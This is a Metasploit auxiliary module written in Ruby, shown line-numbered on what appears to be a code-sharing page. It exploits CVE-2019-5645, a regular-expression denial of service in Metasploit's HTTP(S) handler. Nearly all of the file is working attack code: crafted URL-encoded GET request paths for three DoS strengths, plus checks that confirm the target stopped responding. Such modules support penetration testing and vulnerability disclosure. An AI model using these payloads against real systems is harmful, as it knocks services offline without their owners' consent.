Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name' => 'Metasploit HTTP(S) handler DoS',
13
      'Description' => %q{
14
        This module exploits the Metasploit HTTP(S) handler by sending
15
        a specially crafted HTTP request that gets added as a resource handler.
16
        Resources (which come from the external connections) are evaluated as RegEx
17
        in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.
18

19
        Tested against Metasploit 5.0.20.
20
      },
21
      'Author' => [
22
        'Jose Garduno, Dreamlab Technologies AG', #Vulnerability Discovery, Metasploit module.
23
        'Angelo Seiler, Dreamlab Technologies AG', #Additional research, debugging.
24
      ],
25
      'License' => MSF_LICENSE,
26
      'References' => [
27
        ['CVE', '2019-5645']
28
      ],
29
      'DisclosureDate' => '2019-09-04'
30
    ))
31

32
    register_options(
33
        [
34
            OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]])
35
        ])
36
  end
37

38
  def test_service_unresponsive
39
    begin
40
      print_status('Testing for service unresponsiveness.')
41

42
      res = send_request_cgi({
43
                                 'uri' => '/' + Rex::Text.rand_text_alpha(8),
44
                                 'method' => 'GET'
45
                             })
46

47
      if res.nil?
48
        print_good('SUCCESS, Service not responding.')
49
      else
50
        print_error('Service responded with a valid HTTP Response; Attack failed.')
51
      end
52
    rescue ::Rex::ConnectionRefused
53
      print_error('An unknown error occurred.')
54
    rescue ::Timeout::Error
55
      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
56
    end
57
  end
58

59

60
  def dos
61
    case datastore['DOSTYPE']
62
    when "HARD"
63
      resone = send_request_cgi(
64
          'method' => 'GET',
65
          'uri' => normalize_uri("/%2f%26%28%21%7c%23%2b%29%2b%40%32%30")
66
      )
67
      begin
68
        restwo = send_request_cgi(
69
            'method' => 'GET',
70
            'uri' => normalize_uri("/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21")
71
        )
72
      rescue ::Errno::EPIPE, ::Timeout::Error
73
        # Same exceptions the HttpClient mixin catches
74
      end
75
      test_service_unresponsive
76

77
    when "SOFT"
78
      resone = send_request_cgi(
79
          'method' => 'GET',
80
          'uri' => normalize_uri("/%5b20")
81
      )
82

83
      test_service_unresponsive
84

85
    when "GENTLE"
86
      resone = send_request_cgi(
87
          'method' => 'GET',
88
          'uri' => normalize_uri("/%2e%2a%7c%32%30%7c%5c")
89
      )
90

91
      sleep(1)
92

93
      restwo = send_request_cgi(
94
          'method' => 'GET',
95
          'uri' => normalize_uri("/whatever")
96
      )
97

98
      resthree = send_request_cgi(
99
          'method' => 'GET',
100
          'uri' => normalize_uri("/whatever2")
101
      )
102

103
      if resthree.body.length == 0
104
        print_good('SUCCESS, Service not responding.')
105
      else
106
        print_error('Service responded with a valid HTTP Response; Attack failed.')
107
      end
108

109
    else
110
      fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'
111
    end
112

113
    print_status("DOS request sent")
114
  end
115

116
  def is_alive?
117
    begin
118
      connect
119
    rescue Rex::ConnectionRefused
120
      return false
121
    ensure
122
      disconnect
123
    end
124
    true
125
  end
126

127
  def run
128
    print_status("#{rhost}:#{rport} - Sending DoS packet...")
129
    dos
130
  end
131

132
end
133

134